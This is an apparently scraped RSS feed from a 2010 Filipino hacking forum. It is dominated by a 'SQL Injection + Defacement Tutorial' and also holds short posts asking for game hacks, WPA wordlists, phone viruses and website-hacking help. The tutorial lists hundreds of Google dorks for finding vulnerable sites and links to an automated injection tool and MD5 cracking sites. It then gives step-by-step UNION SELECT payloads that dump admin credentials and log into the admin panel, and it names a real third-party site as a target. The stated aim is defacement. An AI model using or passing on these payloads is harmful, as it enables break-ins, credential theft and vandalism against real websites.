Pinoy Hackers http://www.pinoyhackers.com/ Pinoy Hackers is a free, safe and legal training ground for hackers to test and expand their hacking skills. More than just another hackers site, we are a living, breathing community with many active projects in development, with a vast selection of hacking articles and a huge forum where users can discuss hacking, network security, and just about everything. This site is intended to bring together the best of the best Pinoy Hackers and to promote better internet security awareness. en Thu, 09 Sep 2010 04:39:25 GMT vBulletin 60 http://www.pinoyhackers.com/images/misc/rss.png Pinoy Hackers http://www.pinoyhackers.com/ SQL Injection + Defacement Tutorial By ELkhiehacks http://www.pinoyhackers.com/showthread.php?1149-SQL-Injection-Defacement-Tutorial-By-ELkhiehacks&goto=newpost Thu, 09 Sep 2010 04:15:17 GMT 1. *What is SQL*? SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an... 1. What is SQL? SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

2. What is Defacement ? A website defacement is an attack on a website that changes the visual appearance of the site. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own.

What do you need before you start with SQL Injection.

*You need Admin Finder ( to find admin panel from website )*
*SQL Injection Vulnerable Scanner*

Admin Finder:
Code:
http://www.mediafire.com/?6r44wq7fuqfqtu1

Auto SQL I Helper V.2.7:
Code:
http://www.mediafire.com/?7l504f7cwzv1ifp#2
Dorks for Finding Vulnerable sites!:
Code:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran**.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran**.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl: info.php?id=
inurl:pro.php?id=
4367 dorks!:
Code:
http://data.fuskbugg.se/skalman01/-dorks.txt
MD5 Hash Crackers Online:
Code:
http://www.md5crack.com/
http://www.md5decrypter.com/
http://www.md5decrypter.co.uk/
http://md5.rednoize.com/
http://md5decryption.com/
http://www.md5decrypter.com/
http://passcracking.com/
http://md5.my-addr.com/md5_decrypt-md5_c...r_tool.php
http://www.xmd5.org/
http://www.md5cracker.com/index.php
http://md5.noisette.ch/index.php
http://md5cracker.org

Starting Tutorial:

1. First you need to find vulnerable website.

http://sql-vuln-site.com/index.php?id=15

2. Now you need to find columns.

Code:
http://sql-vuln-site.com/index.php?id=15 order by 1-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 2-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 3-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 4-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 5-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 6-- ( error )
Error`s looks like this:

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'39' at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=\'39
3. Now Select columns

Columns is 5


Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5--
4. Finding version.

So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1


Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5--
you got the version like this:

Code:
5.0.32-Debian_7etch11-log
Code:
5. Finding Tables
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables--
And you will got tables like this:

Code:
PRODUCTS , ADMINS , and others
So must be there table by name: admin , users , user , login , client.

6. Finding Columns in the Table ADMINS.


Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()--
We found ADMINS table now go to ASCII web and convert ADMINS

You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83


Code:
You put table_name=char(65,68,77,73,78,83)--
Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)--
And you will got the columns in table ADMINS
There need to have columns with names: username and password

7. Getting username and password.

Now we put concat(username,0x3a,password) and admins

Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins--

( 0x3a is ASCII )

8. Finded username and password

So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.

If password is not hash you are lucky and now you need to find admin panel.

9. Finding Admin Panel

Open the tool Admin Finder
Put the website in the bellow and click Scan.

So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php

You open website and there have Username: Password:
Put username and password what you got.


HOW TO USE SQL I Helper V.2.7

Now open your SQL I Helper V.2.7
and write the link :
http://encycl.anthropology.ru/article.php?id=1 <---- without the '
here

http://i42.tinypic.com/2n8wtow.jpg

and press the inject button.

Now you should wait until the tool finish searching for columns . Time may vary depending on your connection speed , your pc speed , and the number of columns in the website.
So now you should have this:

http://i43.tinypic.com/15xvl2v.jpg

Make sure that the website support union otherwise the injection won't work.

then select "Get database" and you get this:

http://i40.tinypic.com/znq9tz.jpg

Now select any element from the "database name" box and press the "Get tables" button , I will select "anthropo_encycl":

http://i43.tinypic.com/668zs6.jpg

then select any element from the "table name" box and press the "Get columns" button , I will select "user":

http://i39.tinypic.com/24e3vyo.jpg

then select any elements you want from the "columns name" box and press "Dump Now" , i will select "usr_login" and "usr_pass"

http://i42.tinypic.com/2vb4ndj.jpg

After clicking "Dump Now" , you should see this new window

http://i40.tinypic.com/fxwj2p.jpg

Thanks for reading my tutorial i hopes it will help you ]]> Website and Forum Hacking elkhiehacks http://www.pinoyhackers.com/showthread.php?1149-SQL-Injection-Defacement-Tutorial-By-ELkhiehacks sino meron ng hack sa ran ung oblie...*strife server* http://www.pinoyhackers.com/showthread.php?1148-sino-meron-ng-hack-sa-ran-ung-oblie...*strife-server*&goto=newpost Wed, 08 Sep 2010 15:10:34 GMT anyone help me if you have a hacking tool in oblie items in ran strife server., d2 sa ph..... anyone help me if you have a hacking tool in oblie items in ran strife server., d2 sa ph..... ]]> PC and Online Games ztien http://www.pinoyhackers.com/showthread.php?1148-sino-meron-ng-hack-sa-ran-ung-oblie...*strife-server* wpa wordlist/dic pinoy style http://www.pinoyhackers.com/showthread.php?1147-wpa-wordlist-dic-pinoy-style&goto=newpost Wed, 08 Sep 2010 11:41:20 GMT pls share kau ng mga wordlists nyu halimbawa: -mga lugar na dito lng sa Pilipinas makikita -mga company names/establishments/restos atbp. -mga... pls share kau ng mga wordlists nyu halimbawa:

-mga lugar na dito lng sa Pilipinas makikita
-mga company names/establishments/restos atbp.
-mga pinoy words
-at kung anu-anu pa. ]]> Wifi WPA WEP Wireless Hacking upbackmy http://www.pinoyhackers.com/showthread.php?1147-wpa-wordlist-dic-pinoy-style newbie http://www.pinoyhackers.com/showthread.php?1145-newbie&goto=newpost Wed, 08 Sep 2010 02:11:05 GMT [COLOR="rgb(245, 222, 179)"]hi there! newbie here!sana welcome ako dito.:laugh2:[/COLOR] ]]> New Members Introduction virus5000 http://www.pinoyhackers.com/showthread.php?1145-newbie how to terminate classified.exe? http://www.pinoyhackers.com/showthread.php?1144-how-to-terminate-classified.exe&goto=newpost Tue, 07 Sep 2010 07:56:32 GMT paano nga ba? di ko kasi matanggal sa PC ko even nakasafemode ako paano nga ba? di ko kasi matanggal sa PC ko even nakasafemode ako ]]> White Hat Help polgass http://www.pinoyhackers.com/showthread.php?1144-how-to-terminate-classified.exe Data Entry Specialist Wanted - No college required - No experience needed http://www.pinoyhackers.com/showthread.php?1143-Data-Entry-Specialist-Wanted-No-college-required-No-experience-needed&goto=newpost Tue, 07 Sep 2010 07:48:22 GMT Tourism website needs a data inputter/copy and paster Payout is $30 to $250 Can be a long-term project To apply, please follow the steps... Tourism website needs a data inputter/copy and paster

Payout is $30 to $250

Can be a long-term project

To apply, please follow the steps below

1) Post your typing speed here

2) How many hours can you work on a part-time online job every day?

3) Email dataentryphilippines-subscribe@yahoogroups.com to get authorized to send email. Once you're authorized/confirmed, email dataentryphilippines@yahoogroups.com with the subject line: AAA26 ]]> Sellers Section allanrossin http://www.pinoyhackers.com/showthread.php?1143-Data-Entry-Specialist-Wanted-No-college-required-No-experience-needed Wanted: Short story writer - up to P1250 per day http://www.pinoyhackers.com/showthread.php?1142-Wanted-Short-story-writer-up-to-P1250-per-day&goto=newpost Tue, 07 Sep 2010 07:07:22 GMT Need someone with VERY STRONG English skills for a creative writing project. Payout is P85 per short story (300 words). No research needed. No... Need someone with VERY STRONG English skills for a creative writing project. Payout is P85 per short story (300 words). No research needed. No college degree needed.

Must be a fast writer.

To apply, please do the following (please follow all instructions):

1) Post your typing speed (WPM) here

2) Follow all the other steps at http://www.forumcash.com/wordpress/s...writer-wanted/

First come, first served so start now! ]]> Sellers Section allanrossin http://www.pinoyhackers.com/showthread.php?1142-Wanted-Short-story-writer-up-to-P1250-per-day <![CDATA[[Suggestion] Icon and Smilies]]> http://www.pinoyhackers.com/showthread.php?1141-Suggestion-Icon-and-Smilies&goto=newpost Tue, 07 Sep 2010 05:58:14 GMT Sana po makumpleto nyo na po pag lagay ng smileys at icon...or ma-delete nalang yung ibang smilies na wala na para po maayos po at malinis tingnan Sana po makumpleto nyo na po pag lagay ng smileys at icon...or ma-delete nalang yung ibang smilies na wala na para po maayos po at malinis tingnan ]]> Feedbacks and Suggestions http://www.pinoyhackers.com/showthread.php?1141-Suggestion-Icon-and-Smilies PinoyHackers @ DalNet http://www.pinoyhackers.com/showthread.php?1140-PinoyHackers-DalNet&goto=newpost Tue, 07 Sep 2010 02:12:07 GMT para sa mga hindi po nakakaalam meron po tayong IRC channel sa Dalnet type nio lng /j #PinoyHackers kung walang nakatambay tambayan nio lng!... para sa mga hindi po nakakaalam meron po tayong IRC channel sa Dalnet

type nio lng /j #PinoyHackers

kung walang nakatambay tambayan nio lng! tinatambayan ko na din ee
si master nmesis na lng lagi nakikita ko dun

:tulong:smart: ]]> Pinoy Hackers Hacking Discussions kapitanluffy http://www.pinoyhackers.com/showthread.php?1140-PinoyHackers-DalNet The Real trip of two Hackers...ahahha http://www.pinoyhackers.com/showthread.php?1139-The-Real-trip-of-two-Hackers...ahahha&goto=newpost Mon, 06 Sep 2010 16:11:21 GMT just share it up from facebook http://www.facebook.com/video/video.php?v=1580257312279 :pak:computer: just share it up from facebook

http://www.facebook.com/video/video.php?v=1580257312279 :pak:computer: ]]> Movies iChaN™ http://www.pinoyhackers.com/showthread.php?1139-The-Real-trip-of-two-Hackers...ahahha halo http://www.pinoyhackers.com/showthread.php?1138-halo&goto=newpost Mon, 06 Sep 2010 06:40:50 GMT halo po sa lahat ng mga pinoy hackers welcome nyo po ako baguhan lang ..!!!:hi:hi:hi halo po sa lahat ng mga pinoy hackers

welcome nyo po ako baguhan lang ..!!!:hi:hi:hi ]]> New Members Introduction ragnarok.com http://www.pinoyhackers.com/showthread.php?1138-halo <![CDATA[[request] tutorial for hacking websites or forum]]> http://www.pinoyhackers.com/showthread.php?1137-request-tutorial-for-hacking-websites-or-forum&goto=newpost Mon, 06 Sep 2010 03:35:07 GMT **pa post namn po ng tutorial for hacking a website or forum plsss.** pa post namn po ng tutorial for hacking a website or forum plsss. ]]> Requests for Hacking CyberBundok http://www.pinoyhackers.com/showthread.php?1137-request-tutorial-for-hacking-websites-or-forum pa help paano gumawa ng virus para sa cp? http://www.pinoyhackers.com/showthread.php?1136-pa-help-paano-gumawa-ng-virus-para-sa-cp&goto=newpost Sun, 05 Sep 2010 14:14:18 GMT pa help poh paano gumawa ng virus para sa kahit na anung mobile phones? help please meron kasi nag sesend sa akin parang awa nyu na poh...:bigcry: pa help poh paano gumawa ng virus para sa kahit na anung mobile phones?

help please meron kasi nag sesend sa akin parang awa nyu na poh...:bigcry: ]]> Hacking Tools and Programs greatfalks http://www.pinoyhackers.com/showthread.php?1136-pa-help-paano-gumawa-ng-virus-para-sa-cp new member.. http://www.pinoyhackers.com/showthread.php?1135-new-member..&goto=newpost Sun, 05 Sep 2010 10:39:33 GMT hi sa lahat.. Gusto kong matutong mang hack.. Para naman maprevent ko din na mahack ako, :salute: hi sa lahat.. Gusto kong matutong mang hack.. Para naman maprevent ko din na mahack ako,
:salute: ]]> New Members Introduction wasp1 http://www.pinoyhackers.com/showthread.php?1135-new-member.. Bulletin Board Systems http://www.pinoyhackers.com/showthread.php?1134-Bulletin-Board-Systems&goto=newpost Sat, 04 Sep 2010 20:32:21 GMT alam niyo pa ba yung BBS? wala lang parang nag-re-reminisce lang ako ng mga bagay noong unang panahon astig kasi eh. sino nakaabot dun? taas kamay!... alam niyo pa ba yung BBS?
wala lang parang nag-re-reminisce lang ako ng mga bagay noong unang panahon
astig kasi eh. sino nakaabot dun? taas kamay! :laugh4: ]]> Pinoy Hackers Hacking Discussions kapitanluffy http://www.pinoyhackers.com/showthread.php?1134-Bulletin-Board-Systems